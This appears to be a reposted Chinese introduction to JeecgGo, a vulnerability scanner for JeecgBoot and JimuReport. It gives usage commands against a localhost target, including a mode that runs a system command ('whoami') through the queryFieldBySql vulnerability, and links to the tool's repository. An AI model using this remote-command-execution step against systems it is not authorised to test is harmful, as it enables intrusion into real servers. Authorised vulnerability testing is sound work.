JeecgBoot积木报表综合漏洞检测工具

工具介绍

JeecgGo 综合漏洞检测工具,使用时, 需下载主程序以及Config.yaml文件放在同一目录下运行（重要）, 运行结束后会生成result.json文件, 里边包含检测到存在漏洞的URL、payload以及响应内容。

支持漏洞

使用说明

简单用法

JeecgGo.exe -u http://127.0.0.1/jeecg-boot/ 

携带token进行测试

JeecgGo.exe -u http://127.0.0.1/jeecg-boot/ -x token 

命令执行

JeecgGo.exe -u http://127.0.0.1/jeecg-boot/ -n queryFieldBySql -c whoami 

工具获取

https://github.com/Msup5/JeecgGo

文章来源：夜组安全